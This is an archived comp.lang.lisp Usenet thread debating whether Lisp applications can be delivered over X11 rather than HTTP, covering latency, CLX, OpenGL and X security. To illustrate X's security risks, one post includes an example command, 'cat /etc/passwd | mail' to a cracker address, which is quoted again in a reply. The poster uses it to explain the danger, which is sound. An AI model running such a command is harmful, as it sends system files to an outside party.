Paul Graham has stated that clients are a loose. That is, he thinks
that the future of applications delivery is via a server on the
Internet running the application.
I've always been skeptical of this claim because HTML + Web Browser
makes for a crappy interactive interface. The HTTP protocol has its
place, but it has certain well known limitations.
Well, I was thinking about that idea this morning for some reason.
Running an application on the server is a great way to have full
control over the app without worrying about what the client has. I
also thought about how I can use 'ssh -X' to run an X11 app on my Mac
because I have installed the Apple X11 server. Linux/Unix machines
can do this out of the box, Apple X11 is an optional component for
Panther.
It's a bit slugish and has a lengthy startup time, but Emacs does run
from my web server with its display on my Mac. X11 provides an
interactive, graphical interface.
So here is my idea. Suppose a Lisp image running The Foo Web App can
be setup to do the following:
* Use Apache + mod_lisp (or some other HTTP server) to handle HTTP
requests like any other web app.
* Listen (or use another process to do the job) for SSH (or better
yet, RSH) connections on some port (rather than the standard port)
so that it can tunnel an X11 interface over the connection and NOT
use rlogin.
* Be threaded (or multiprocess with shared memory or some kind of
IPC) to handle an arbitrary number of simultanious connections
limited only by hardware and network bandwidth constraints.
The precise nature of The Foo Web App isn't important. It could be a
sophisticated real time, multi-user, graphical role playing game or
just some IRC like chat program (without the benifit of an IRC
client's ability to run bots or upload files). The HTTP portion
would allow users to see how busy the application was, upload data,
or whatever. The basic point of the HTTP portion is to be able to
peek into the state of the application or change the state of the
application.
The X11 (or curses if only text is required) interface would provide
the interactive experience of a local app (affected only by network
latency).
HTTP clients are ubiquitous now and web apps are common enough these
days. X11 servers are less common, but they are available on all
major platforms that I know of. I've used and seen X11 servers for
Windows although I don't know about good free ones. Apple X11 is
very good on OS X.
I don't know how to implement this right now, but my thinking is to
use CMUCL or SBCL on a Debian Linux server to test the concept with my
Mac as the client. I know this already works with Emacs using 'ssh
-X'. I'm not running RSHD on my Linux server, just SSHD. I would
like to setup an RSHD that either fakes or skips rlogin and tunnels
X11 so that a Lisp application can be connected to remotely without
the need for a Unix account. The concept of accounts should work the
same way as it does for standard web apps rather than be at a system
level.
My server is not very powerful so it would really only be useful for
testing the concept (566Mhz Celeron with 384MB RAM, 40GB disk). It
is running the Debian/testing release. I have CMUCL installed via
apt-get. If I use SBCL I can either build it via CVS or see if the
debian packages for SBCL are bleeding edge enough.
Does anyone have any thoughts on this idea?
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
David Steuber <·············@verizon.net> writes:
> The X11 (or curses if only text is required) interface would provide
> the interactive experience of a local app (affected only by network
> latency).
Sure, you could do this. Some shops already do things like this
providing applications like OpenOffice to thin clients. Lisp can do
this as well as anything else which can talk to X.
But the real problem is network latency. Emacs works quite well over
the network, because it's been carefully optimized over years and
pretty much only does things that X does very well over a network:
text and simple line drawing. Try running Mozilla over a the
internet for a taste of how slow it can be.
So, right now, X isn't really suitable as a means of delivering apps
over the internet. It needs to be extended to handle things todays
apps care more about: things like anti-aliased text, better graphics
operations. People like Keith Packard are working on this it isn't
very widespread (or complete) yet.
--
Alan Shutko <···@acm.org> - I am the rocks.
Alan Shutko <···@acm.org> writes:
> So, right now, X isn't really suitable as a means of delivering apps
> over the internet. It needs to be extended to handle things todays
> apps care more about: things like anti-aliased text, better graphics
> operations. People like Keith Packard are working on this it isn't
> very widespread (or complete) yet.
X is a bit heavy. A while back, I saw a demo of Terminal Services
for Windows. The demo was done over a 56k modem. I was quite
impressed by the performance. I don't know what Microsoft has done,
but they have made a very lighweight protocol. It's hard to imagine
that Windows Meta Files could even be that fast. It was not at all
like what I have come to expect from the likes of PC Anywhere and it
was also much faster than X.
Yeah, running Mozilla from my server over a DSL line was kind of
painful. It was fun to watch the flash ads on Yahoo! fall on their
face though. Over a LAN, it's not so bad. Over a DSL line, a menu
shouldn't take several seconds to draw.
At the low level, OpenGL is very good for making a very nice
display. OS X 10.3.2 uses it to astonishing effect. If there was a
low bandwidth protocol that took advantage of that, I think that
could be really cool.
I suppose it is no more reasonable to expect an X server on the
client than a JVM that will run a Java applet properly. Flash can
also talk to the server, but I don't know what its capabilities and
limitations are.
It just seems like a compelling idea to me to have a web app that is
as interactive and responsive as a local app. Apart from network
latency I mean.
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
From: Rahul Jain
Subject: Re: Ye Old Time Sharing System
Date:
Message-ID: <877jxgnhyx.fsf@nyct.net>
David Steuber <·············@verizon.net> writes:
> X is a bit heavy. A while back, I saw a demo of Terminal Services
> for Windows. The demo was done over a 56k modem. I was quite
> impressed by the performance. I don't know what Microsoft has done,
> but they have made a very lighweight protocol.
VNC worked for me in the same situations, in the same way.
--
Rahul Jain
·····@nyct.net
Professional Software Developer, Amateur Quantum Mechanicist
David Steuber wrote:
> At the low level, OpenGL is very good for making a very nice
> display. OS X 10.3.2 uses it to astonishing effect. If there was a
> low bandwidth protocol that took advantage of that, I think that
> could be really cool.
Hmmm. An OpenGL display list is simply an integer. How much bandwidth is
that? Now if we only had an open CL gui based on OpenGL!
<sigh>
Kenny Tilton <·······@nyc.rr.com> writes:
> David Steuber wrote:
> > At the low level, OpenGL is very good for making a very nice
> > display. OS X 10.3.2 uses it to astonishing effect. If there was a
> > low bandwidth protocol that took advantage of that, I think that
> > could be really cool.
>
> Hmmm. An OpenGL display list is simply an integer. How much bandwidth
> is that? Now if we only had an open CL gui based on OpenGL!
Heh.
One neat trick of OS X is with the Expose feature. Just in case you
don't know what it is, it is a cool way to deal with many open
windows at once. With a hot key (F9) press, all the windows shrink
and become visible all at once on the screen. They are nicely
arranged to. Windows that are updating continue to do so. It is
very cool and much of the work is being handed off to the video GPU.
How much work to build that display list?
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
David Steuber wrote:
> Kenny Tilton <·······@nyc.rr.com> writes:
>
>
>>David Steuber wrote:
>>
>>>At the low level, OpenGL is very good for making a very nice
>>>display. OS X 10.3.2 uses it to astonishing effect. If there was a
>>>low bandwidth protocol that took advantage of that, I think that
>>>could be really cool.
>>
>>Hmmm. An OpenGL display list is simply an integer. How much bandwidth
>>is that? Now if we only had an open CL gui based on OpenGL!
>
>
> Heh.
>
> One neat trick of OS X is with the Expose feature. Just in case you
> don't know what it is, it is a cool way to deal with many open
> windows at once. With a hot key (F9) press, all the windows shrink
> and become visible all at once on the screen. They are nicely
> arranged to. Windows that are updating continue to do so. It is
> very cool and much of the work is being handed off to the video GPU.
>
> How much work to build that display list?
(a) sounds like the client window manager would handle that, not the
application, by...
(b) ...simply scaling the transformation matrix before executing the
stream of display commands still coming from the app. unless...
(c) ...it looks as if the app is cooperating in the Expose trick, by
changing its output when it gets an "expose event". Doubt it.
But you know OpenGL is just being used for the last stages of rendering,
right? Applications are not necessarily (or often) generating output via
gl*/glu*. You said something about looking at OpenGL all the time, which
is kinda like saying all the Christmas cards I get are from my postal
carrier. Well, yes, but...
kt
--
http://tilton-technology.com
Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film
Your Project Here! http://alu.cliki.net/Industry%20Application
Kenny Tilton <·······@nyc.rr.com> writes:
> But you know OpenGL is just being used for the last stages of
> rendering, right? Applications are not necessarily (or often)
> generating output via gl*/glu*. You said something about looking at
> OpenGL all the time, which is kinda like saying all the Christmas
> cards I get are from my postal carrier. Well, yes, but...
Yes, I know. The applications are many layers abstracted from the
OpenGL which is simply what Quartz/Quartz Extreme uses. The same is
true for X applications. Qt or GTK are layers above XLib. Xt is
another abstraction over XLib, but few applications of any size use
that.
This does not negate the coolness of OpenGL. OS X is showing a
killer OpenGL app here. OpenGL, while being a C library, makes an
excelent standard for talking to the video hardware. Thus OpenGL
itself becomes a low-level abstraction layer.
Writing C applications to GLUT is essentially higher level video
assembler. Well, not so much to GLUT as that lets you play with
OpenGL APIs in a window system independent fashion. But I think you
know what I mean.
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
David Steuber wrote:
> This does not negate the coolness of OpenGL. OS X is showing a
> killer OpenGL app here. OpenGL, while being a C library, makes an
> excelent standard for talking to the video hardware. Thus OpenGL
> itself becomes a low-level abstraction layer.
No argument there. Hey, I'm the dude with the OpenGL-based GUI for CL,
and (unless the developer decides to use ImageMagick for high-level
drawing) it will be OpenGL all the way up as well as down.
But to be honest, I picked OpenGL for its portability (the Prime
Directive for Cello) and not at all for its graphical coolness. But
having played with it now for a while I agree there is potential for
awesome Stupid GUI Tricks (such as Expose) as well as simply great
graphics and performance. And I think these SGTs (along with Cells) give
Cello a shot at being the CLOS of GUIs.
kt
--
Home? http://tilton-technology.com
Cells? http://www.common-lisp.net/project/cells/
Cello? http://www.common-lisp.net/project/cello/
Kenny Tilton wrote:
>
>
> David Steuber wrote:
>> At the low level, OpenGL is very good for making a very nice
>> display. OS X 10.3.2 uses it to astonishing effect. If there was a
>> low bandwidth protocol that took advantage of that, I think that
>> could be really cool.
>
> Hmmm. An OpenGL display list is simply an integer. How much bandwidth is
> that? Now if we only had an open CL gui based on OpenGL!
>
And hardware-accelerated networked GLX. When I last checked with XFree, it
drops to pure mesa-based software rendering for *all* non-local opengl
(sorta missing the point of GLX, but hey...). So things get painfully slow
anyway, even if you're using less bandwidth. I could be wrong (due to
out-of-date info), I'm not currently heavily involved in the linux 3d
community.
Precision Insight did at one stage intend to accelerate such networked GL
rendering (AFAIK it was on their grand "roadmap" for linux 3D
acceleration), but they only got the direct rendering done before things
went pear shaped. It _should_ be possible to usefully hardware-accelerate
networked GLX to a fair extent on modern PC-class hardware, but AFAIK
no-one's written the support yet (again, as far as I know, I'm not
currently involved).
And of course, more people have to get used to Engineering/CAD/nintendo
style high-poly-count/low-to-no-texture work (which commodity PC cards
finally handle reasonably well...) rather than PC-gamer style
low-poly-count/high-texture work which remains less than suitable for
over-network use due to textures eating bandwidth.
David Steuber <·············@verizon.net> writes:
> X is a bit heavy. A while back, I saw a demo of Terminal Services
> for Windows. The demo was done over a 56k modem. I was quite
> impressed by the performance.
It's not X that's heavy (it has all sorts of efficiency hacks), but
rather poorly engineered toolkits that do all sorts of inefficient
things.
Scott Schwartz <··········@usenet ·@bio.cse.psu.edu> wrote:
> It's not X that's heavy (it has all sorts of efficiency hacks), but
> rather poorly engineered toolkits that do all sorts of inefficient
> things.
I though that the "Unix Haters" grievance against X was mostly leaving
*all* the logic on the client side -- as opposed to sending a small
program to the server that could handle trivial stuff without without
talking over the network, eg. displaying a menu.
What am I missing, or is that a bogus grievance?
Cheers,
-- Nikodemus
Scott Schwartz <··········@usenet ·@bio.cse.psu.edu> writes:
> It's not X that's heavy (it has all sorts of efficiency hacks), but
> rather poorly engineered toolkits that do all sorts of inefficient
> things.
Ok, I'll accept this on the face of it since I do not know the
architecture of X11. I do have the Xlib programming manual, but I
have not read it :-(.
Where does CLX fall into the picture as related to Xt?
If X is not that heavy, then my idea (insofar as the idea is
independent from all the other people that may have thought of the
same thing) could still work. The GUI would simply need to be
designed on a network efficient architecture over something that may
look prettier.
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
David Steuber <·············@verizon.net> writes:
> Where does CLX fall into the picture as related to Xt?
CLX is an alternative to libX11, in that it talks to an X server on a
socket (or using a shared memory transport, or whatever) and presents
an API similar to that of Xlib.
With that said, keyword arguments and Lisp macrology make CLX a good
deal less painful to program directly than xlib-from-c is.
-dan
--
"please make sure that the person is your friend before you confirm"
David Steuber <·············@verizon.net> wrote:
+---------------
| ...I do not know the architecture of X11. I do have the Xlib
| programming manual, but I have not read it :-(.
|
| Where does CLX fall into the picture as related to Xt?
+---------------
Actually, CLX is at the level of Xlib (not Xt), and implements almost
exactly the same sert of services. You can "transliterate" Xlib-based
apps to Lisp/CLX fairly straightforwardly. However, CLX is pure Lisp,
*not* an FFI "binding" to Xlib, and speaks directly from Lisp to the
X Server via a socket. I use it regularly for a few simple tasks,
particularly output-only ones (such as a strip-chart system load meter).
I've never used it, but I've heard that CLUE is to Xt as CLX is to Xlib,
basically an re-implementation of Xt in Lisp.
Then above that level, things go in a wild number of directions:
CLIM/McCLIM, CLIO (on top of CLUE), Garnet, CAPI, SLIK, etc.
And that doesn't even start to talk about FFI bindings to stuff written
in other languages, such as Motif/LessTif/OpenMotif, Tcl/Tk, GTK+, QT,
or OpenGL (e.g., Cello).
-Rob
-----
Rob Warnock <····@rpw3.org>
627 26th Avenue <URL:http://rpw3.org/>
San Mateo, CA 94403 (650)572-2607
····@rpw3.org (Rob Warnock) writes:
> David Steuber <·············@verizon.net> wrote:
> +---------------
> | ...I do not know the architecture of X11. I do have the Xlib
> | programming manual, but I have not read it :-(.
> |
> | Where does CLX fall into the picture as related to Xt?
> +---------------
>
> Actually, CLX is at the level of Xlib (not Xt), and implements almost
> exactly the same sert of services. You can "transliterate" Xlib-based
> apps to Lisp/CLX fairly straightforwardly. However, CLX is pure Lisp,
> *not* an FFI "binding" to Xlib, and speaks directly from Lisp to the
> X Server via a socket. I use it regularly for a few simple tasks,
> particularly output-only ones (such as a strip-chart system load meter).
To me, this sounds ideal. Yes, it is bare metal. I would also love
to see how the asynchronous aspects are delt with. I will look into
that when I am more comfortable with Lisp. What it means to me is
that I can build a toolkit in pure Lisp for X if I don't like any of
the freely available ones that already exist.
I guess the biggest problem with distributing an application via the
X11 protocol is the dearth of X11 servers on clients compared to HTTP
clients. X11 forwarding also has to work to deal with such things as
firewalls and NAT.
It is also impossible to use a hyperlink in a web page to fireup an X
server connection on the client. Someone did post that there was an
X server Java Applet. That would be a reasonable way to go although
it starts to beg the question of why not have a custom client in
Java?
--
It would not be too unfair to any language to refer to Java as a
stripped down Lisp or Smalltalk with a C syntax.
--- Ken Anderson
http://openmap.bbn.com/~kanderso/performance/java/index.html
David Steuber <·············@verizon.net> wrote:
+---------------
| I guess the biggest problem with distributing an application via the
| X11 protocol is the dearth of X11 servers on clients compared to HTTP
| clients. X11 forwarding also has to work to deal with such things as
| firewalls and NAT.
+---------------
And security, which is almost impossible to get around unless *you*
securely own both ends of the connection. That is, any host that you
allow unrestricted connections to your local X server can sniff keystrokes
(including passwords), insert events into other windows ("Hmmm... there's
an xterm that's currently iconified and not doing anything. Let's get it
to do a 'cat /etc/passwd | mail ······@cracker.dom'"), and other nasty
stuff.
Using MTI-MAGIC-COOKIE-1 authentication helps, as does using X *only*
over SSH tunnels, but even then a malignant sysadmin on the remote host
could make "ALL YOUR BASE BELONG TO US!"
When it comes down to it, that's the fundamental problem with *all*
proposals for putting "smart" code on the client (or user) side of
the net: You the user have to "trust" the code that you downloaded.
Well, building a "web of trust" that means more than a politician's
promise is a *VERY* hard thing to do. Every day there are examples
of "Oops! We didn't know it could do that!" Just read "comp.risks"...
-Rob
-----
Rob Warnock <····@rpw3.org>
627 26th Avenue <URL:http://rpw3.org/>
San Mateo, CA 94403 (650)572-2607
····@rpw3.org (Rob Warnock) wrote in message news:<······················@speakeasy.net>...
>
> And security, which is almost impossible to get around unless *you*
> securely own both ends of the connection. That is, any host that you
> allow unrestricted connections to your local X server can sniff keystrokes
> (including passwords), insert events into other windows ("Hmmm... there's
> an xterm that's currently iconified and not doing anything. Let's get it
> to do a 'cat /etc/passwd | mail ······@cracker.dom'"), and other nasty
> stuff.
I think that the right approach to that, since most clients won't be
running X servers for day-to-day life (they're Windows machines in
other words) would be to have some kind of thing where each
application you want to run remotely has its own little X server on
top of which it runs one huge window. Or alternatively it has its own
X server but does one of these clever `rootless' things such that its
possibly-multiple X windows just sit on the native desktop. I think
XFree86 on cygwin can do this now, for instance, and things like
exceed have been able to do it for ever.
Having a per-application server sounds extravagant, but an X server is
probably actually quite small by today's standards, and much of its
memory can probably be shared anyway. You can then ruthlessly
restrict what access this thing has to the native machine.
--tim
··········@tfeb.org (Tim Bradshaw) writes:
> ····@rpw3.org (Rob Warnock) wrote in message
> news:<······················@speakeasy.net>...
>>
>> And security, which is almost impossible to get around unless *you*
>> securely own both ends of the connection. That is, any host that
>> you allow unrestricted connections to your local X server can sniff
>> keystrokes (including passwords), insert events into other windows
>> ("Hmmm... there's an xterm that's currently iconified and not doing
>> anything. Let's get it to do a 'cat /etc/passwd | mail
>> ······@cracker.dom'"), and other nasty stuff.
>
> I think that the right approach to that, since most clients won't be
> running X servers for day-to-day life (they're Windows machines in
> other words) would be to have some kind of thing where each
> application you want to run remotely has its own little X server on
> top of which it runs one huge window. Or alternatively it has its
> own X server but does one of these clever `rootless' things such
> that its possibly-multiple X windows just sit on the native desktop.
> I think XFree86 on cygwin can do this now, for instance, and things
> like exceed have been able to do it for ever.
the X server for windows my collegue is using allows him to login
with ssh -X into unix box, start, say, mozilla and enjoy. it is
"rootless" and i thought that was the normal behaviour. or maybe root
window is invisible virtual one.
if i'm not mistaken X server for MacOS X works the same way - the X
windows look just like "native" windows.
> Having a per-application server sounds extravagant, but an X server
> is probably actually quite small by today's standards, and much of
> its memory can probably be shared anyway. You can then ruthlessly
> restrict what access this thing has to the native machine.
>
> --tim
--
gr{oe|ee}t{en|ings}
artm
Artem Baguinski <····@v2.nl> writes:
> if i'm not mistaken X server for MacOS X works the same way - the X
> windows look just like "native" windows.
The frame around an application window is certainly a native window.
Of course, it is atypical to have a menubar in the window rather than
at the top. You know you are not in native GUI land when you are
running an X11 app on OSX. You can at least still copy and paste
text as you would expect to be able to.
--
It would not be too unfair to any language to refer to Java as a
stripped down Lisp or Smalltalk with a C syntax.
--- Ken Anderson
http://openmap.bbn.com/~kanderso/performance/java/index.html
David Steuber <·············@verizon.net> writes:
> Scott Schwartz <··········@usenet ·@bio.cse.psu.edu> writes:
>
>> It's not X that's heavy (it has all sorts of efficiency hacks), but
>> rather poorly engineered toolkits that do all sorts of inefficient
>> things.
>
> Ok, I'll accept this on the face of it since I do not know the
> architecture of X11. I do have the Xlib programming manual, but I
> have not read it :-(.
>
> Where does CLX fall into the picture as related to Xt?
CLX == Xlib (I think).
--
Raymond Wiker Mail: ·············@fast.no
Senior Software Engineer Web: http://www.fast.no/
Fast Search & Transfer ASA Phone: +47 23 01 11 60
P.O. Box 1677 Vika Fax: +47 35 54 87 99
NO-0120 Oslo, NORWAY Mob: +47 48 01 11 60
Try FAST Search: http://alltheweb.com/
* David Steuber wrote:
> X is a bit heavy.
`heaviness' is a non-issue. It doesn't matter if you have terabits of
bandwidth if you have a second of latency. Equally, if you have
millisecond latency you can design protocols which will work over
low-bandwidth links.
If you have non-trivial latency then your only option is to download
stuff into the client and run it there if you want good interactive
response.
--tim
Tim Bradshaw <···@cley.com> writes:
> * David Steuber wrote:
>
> > X is a bit heavy.
>
> `heaviness' is a non-issue. It doesn't matter if you have terabits of
> bandwidth if you have a second of latency. Equally, if you have
> millisecond latency you can design protocols which will work over
> low-bandwidth links.
The latency issue is really subjective. Yes, you can measure the
milliseconds of turnaround between a mouse click from the user and a
menu being displayed to the user. But what really counts is the
user's reaction to that delay.
While broadband is growing in popularity in the United States by
leaps and bounds, I would not like to assume that everyone has it
yet. Also all roads meet at the server.
> If you have non-trivial latency then your only option is to download
> stuff into the client and run it there if you want good interactive
> response.
This is true. However, it is precisely what I would like to avoid.
The point is to use existing (or readily available) clients. It is
already something of a leap to use X rather than HTTP because far
more people have a web browser that can display HTML than have an X
server to render a GUI from a remote app.
--
Those who do not remember the history of Lisp are doomed to repeat it,
badly.
> (dwim x)
NIL
David Steuber <·············@verizon.net> wrote in message news:<··············@david-steuber.com>...
>
> The latency issue is really subjective. Yes, you can measure the
> milliseconds of turnaround between a mouse click from the user and a
> menu being displayed to the user. But what really counts is the
> user's reaction to that delay.
And I think that turns out to be fairly objectiv, in fact. There's a
fair amount of research into this for which I don't have refs handy,
but I think the answer is somewhere around 200ms round-trip (which may
translate into network latencies which are 10s of ms). You can look
this stuff up, it's fairly easy to find.
Remember also that for things like X there are round-trips
*everywhere*. If you move the mouse across the screen it's probably
delivering events to the windows it passes over. X wasn't designed
for hgh-latency connections, and using it on one is a pain. NeWS, for
instance, had a much better story about this kind of thing.
One important issue when considering this kind of thing is to remember
that what you will put up with is often unacceptable to ordinary
users. I relatively frequently use VNC over an ISDN link (the mud hut
I live in when I can is not in an area which has ADSL yet) wil a
fairly well-connected (so reasonably low-latency) 1M/256k ADSL link at
the other end. I can use it, and it's kind of cool, but that's
because I'm a nerd, and I understand that I have to wait for the mouse
to catch up all the time and for menus to appear and so on (and even
then, I use pure flat colours to give the compression the easiest job
it can have), My mother couldn't use it, because, actually, it's
unusable.
--tim
··········@tfeb.org (Tim Bradshaw) writes:
> One important issue when considering this kind of thing is to remember
> that what you will put up with is often unacceptable to ordinary
> users. I relatively frequently use VNC over an ISDN link (the mud hut
> I live in when I can is not in an area which has ADSL yet) wil a
> fairly well-connected (so reasonably low-latency) 1M/256k ADSL link at
> the other end. I can use it, and it's kind of cool, but that's
> because I'm a nerd, and I understand that I have to wait for the mouse
> to catch up all the time and for menus to appear and so on (and even
> then, I use pure flat colours to give the compression the easiest job
> it can have), My mother couldn't use it, because, actually, it's
> unusable.
I think I get it now. X would only work for users over a LAN. A
good LAN at that.
I guess I will need a Java applet if I want to do something like
this.
--
It would not be too unfair to any language to refer to Java as a
stripped down Lisp or Smalltalk with a C syntax.
--- Ken Anderson
http://openmap.bbn.com/~kanderso/performance/java/index.html
From: Wade Humeniuk
Subject: Re: Ye Old Time Sharing System
Date:
Message-ID: <tLJ7c.29$x44.10@clgrps12>
David Steuber wrote:
>
> I think I get it now. X would only work for users over a LAN. A
> good LAN at that.
>
> I guess I will need a Java applet if I want to do something like
> this.
>
No there is another, at least Lispy solution. With LispWorks
you get CAPI. Build a small client app that takes CAPI/CL
source expressions an runs them on the client machine. The
server serves the Lisp expressions that contains code
(including CAPI gui source) for the client app, a kind of
LispWorks Applet. Click on a button in one interface and receive
code (Page) for the next interface, and so on, and so on, ad-naseum.
Interfaces (pages) could even be on different machines and servers.
The good thing about general interfaces is that are much more powerful
than HTML pages, and also potentially extendable.
I have pondered this for a while, one could call it LISL (Lisp
Interface Server Language with new uris like litp://www.lisp.org/questionare.lisl)
Wade
David Steuber <·············@verizon.net> wrote in message news:<··············@david-steuber.com>...
>
> I think I get it now. X would only work for users over a LAN. A
> good LAN at that.
Well, that's not clear. I think it will only run usefully over
low-latency links, but I don't know what the effective latency of
links is nowadays. For instance I tried a couple of random
well-connected machines (www.google.com was one) from my
(well-connected but behind corporate firewall) and got ping round-trip
times of 5-35ms. Those are probably OK (well, I'm sure the lower-end
ones are OK). But I don't know what that would look like from behind
a consumer ADSL connection or a dialup line in the best case, and
obviously it depends a lot on all sorts of boring routing and topology
issues, only some of which can be controlled.
--tim
··········@tfeb.org (Tim Bradshaw) writes:
> times of 5-35ms. Those are probably OK (well, I'm sure the lower-end
> ones are OK). But I don't know what that would look like from behind
> a consumer ADSL connection or a dialup line in the best case, and
> obviously it depends a lot on all sorts of boring routing and topology
> issues, only some of which can be controlled.
my 1Mbit consumer adsl connection at home is well-connected to my
work network, with a RTT of only 15-20ms. It works reasonable for
some applications, but it's a real pain for some really demanding
X applications (e.g. a LispWorks motif application I've written
myself...).
--
(espen)
David Steuber speculated:
> I think I get it now. X would only work for users over a
> LAN. A good LAN at that.
One still comes across websites that are painfully slow. I
assume that the author looks at his site on his own machine
and is unaware of the problem. I think that there is a
similar issue with X. In recent years programmers have been
writing lots of code that assumes that the client and server
are on the same machine, and haven't had to think about
network delays.
I found a recent discussion on Slashdot quite jarring. The
topic was a replacement for X. The general assumption was
that X was slow because it had been designed without concern
to minimise round trips and cope with network delays. About
this time I was reading the Xlib programming manual, 9.4.1
Implementing Type-ahead for Information Entry. The designers
of the X protocol had clearly intended the protocol to be
useful, even if the round trip delay was several keystrokes,
and they had included "synchronous grab mode" as part of
their efforts towards this goal. It seemed more likely to me
that the X protocol was not that bad, but the tradition of
writing clients for slow networks had been lost.
How long for a menu to appear? I've hacked together some
proof of concept code that a would allow a client to pop up
a menu with one round trip delay, and almost zero bandwidth.
http://www.cawtech.demon.co.uk/clx/menu.lisp
I've not got a remote machine to run it on. So I cannot
check how it feels with real network delays.
Remember that X11 is a protocol from last century, when
machines were powered by steam, and ethernet had a ring
topology with a single 10Mbit per second piece of string
snaking all round the department, with its bandwidth shared
by lots of users. Before I reject the idea of deploying
applications using X11 over ADSL, I would like to try it
out, and get a firmer handle on what the problems actually are.
Alan Crowe
Edinburgh
Scotland
P.S I'm still working on my simple examples in CLX
(Novemeber 8th version http://www.cawtech.demon.co.uk/examples.txt)
and hope to upload a further 500 words and corrected source
code to
http://www.cawtech.demon.co.uk/clx/simple/examples.txt
later this evening.
Alan Crowe <····@cawtech.freeserve.co.uk> writes:
> Remember that X11 is a protocol from last century, when
> machines were powered by steam, and ethernet had a ring
> topology with a single 10Mbit per second piece of string
> snaking all round the department, with its bandwidth shared
> by lots of users. Before I reject the idea of deploying
> applications using X11 over ADSL, I would like to try it
> out, and get a firmer handle on what the problems actually are.
Just when I was about to give up on the idea...
Since CLX is an analog of Xlib, I figure it must be possible to
create a network lite toolkit over CLX (unless CLX is really easy to
use) so that the necessary GUI elements are there with minimum
bandwidth (and latency) requirements.
I fully expect to be in the tradition of the austere web page that
has only a few kb of text and is quickly rendered by a slow client.
Once I am productive in CL, I shall definitely look into this.
Another poster mentioned security as an issue. Is it really a big
deal? Assuming the user trusts the application server and the X11
protocol is being tunneled via SSH or RSH (can RSH do that?), is it
really possible for some random third party to connect to the user's
X server?
--
It would not be too unfair to any language to refer to Java as a
stripped down Lisp or Smalltalk with a C syntax.
--- Ken Anderson
http://openmap.bbn.com/~kanderso/performance/java/index.html
David Steuber <·············@verizon.net> wrote:
+---------------
| Another poster mentioned security as an issue. Is it really a big deal?
+---------------
Yes.
+---------------
| Assuming the user trusts the application server...
+---------------
That's a *huge* assumption! What if the application server is hosting
applications written by others? What if some applications (e.g., really
cute games or dancing hipmunks, etc.) are Trojan Horsess? What if...
+---------------
| ...and the X11 protocol is being tunneled via SSH...
+---------------
It's the application server (X client) end that's vulnerable. When "sshd"
opens the listening socket on the remote end, it can't stop *any* process
from connecting to it and getting a new tunnel to your X server. The only
recourse in that case is to use MIT-MAGIC-COOKIE-1 authentication or similar,
but that requires that that owner of the X server distribute auth cookies
to *every* application server it might want to receive X connections from.
(*Ugh!*)
+---------------
| ...or RSH (can RSH do that?)
+---------------
Nope, sorry.
-Rob
-----
Rob Warnock <····@rpw3.org>
627 26th Avenue <URL:http://rpw3.org/>
San Mateo, CA 94403 (650)572-2607
Alan Crowe <····@cawtech.freeserve.co.uk> wrote in message news:<··············@cawtech.freeserve.co.uk>...
> Remember that X11 is a protocol from last century, when
> machines were powered by steam, and ethernet had a ring
> topology with a single 10Mbit per second piece of string
> snaking all round the department, with its bandwidth shared
> by lots of users. Before I reject the idea of deploying
> applications using X11 over ADSL, I would like to try it
> out, and get a firmer handle on what the problems actually are.
>
Latency is not bandwidth (and 10Mbit ethernets weren't rings, they
were busses). I don't have a 10Mbit ethernet to play with, but I can
easily believe that the latency was ~1ms for decent machines. You
won't get that if the server is in the US and you're in the UK, or
even probably if the server is on the other coast in the US.
And remember that X *wasn't usable* for other than nerds until long
after it was invented, because machines & networks were too slow. I
remember learning the order in which menus were drawn by twm, because
you could quite clearly *see* the components being drawn.
Secondly (responding to the bit I carefully elided, thus leaving you
confused as to whether I'm actually making a real point or just
bullshitting) I don't think you can hide latency the way you mgight
think. You can cache a lot of things on the client (which is the X
server: I'll henceforth use client and server inconsistently, based on
a logic only I understand), and this give the impression of making
things fast. But in order to actually do something useful, you have
to interact with the server (that is, the client, or the application),
and you can't avoid a round-trip when doing that. Further, if you can
cache stuff on an X server, on the client, which isn't an application,
then you can also cache stuff in a web browser (which is a client, on
the client, but is an application), so a browser-based thing can be
just as good. In fact a browser-based thing can be better, because it
can download *code* onto the client (which isn't a server, just to
remind you), so some of the application (server, not client) logic can
run on the client (not server). Or, in other words something like
NeWS, running on the server (client), or Java applets on the client
(client). Right. Glad that's all sorted out.
Jan Rychter <···@rychter.com> writes:
> And to be on-topic: WIBNI if there was a CL-based generator for XUL
> forms? Coupled with UCW, for example?
Some time back I read the O'Reilly Mozilla/XUL book with an eye toward
something like that. As I understand it the basic architecture of
Firefox (nee Mozilla) consits of three parts:
- A cross-platform GUI engine that is driven by XUL, an XML language
for describing GUIs much the way HTML describes web pages.
- A Javascript interpreter that can be used to script XUL
applications and to write "components" that can be incorporated
into XUL apps.
- An API for writing components in C++ when Javascript is too slow.
It seems there are at least three places where Lisp could help Firefox
a lot:
- Use Lisp macros as a more concise way to specify/generate all the
XML gorp required for XUL.
- Figure out how to plug in a Common Lisp interpreter along side the
Javascript interpreter, making it possible to script Firefox apps
with Lisp instead of Javascript.
- Use a Common Lisp with a native compiler instead of C++ to write
the "native" components.
However I'm still not convinced that Firefox--as an application
platform as opposed to as a browser--actually has enough momentum to
really make it worthwhile. But if someone is looking for yet another
way to try to give Common Lisp a universal GUI, it might be an
interesting project. Certainly it would have a certain marketing
potential, if by adding Lisp to Firefox it suddenly became X times
easier to develop interesting Firefox-based apps.
-Peter
--
Peter Seibel ·····@javamonkey.com
Lisp is the red pill. -- John Fraser, comp.lang.lisp
Alan Shutko <···@acm.org> wrote in message news:<··············@wesley.springies.com>...
> David Steuber <·············@verizon.net> writes:
>
> > The X11 (or curses if only text is required) interface would provide
> > the interactive experience of a local app (affected only by network
> > latency).
>
> Sure, you could do this. Some shops already do things like this
> providing applications like OpenOffice to thin clients. Lisp can do
> this as well as anything else which can talk to X.
>
> But the real problem is network latency. Emacs works quite well over
> the network, because it's been carefully optimized over years and
> pretty much only does things that X does very well over a network:
> text and simple line drawing. Try running Mozilla over a the
> internet for a taste of how slow it can be.
>
> So, right now, X isn't really suitable as a means of delivering apps
> over the internet. It needs to be extended to handle things todays
> apps care more about: things like anti-aliased text, better graphics
> operations. People like Keith Packard are working on this it isn't
> very widespread (or complete) yet.
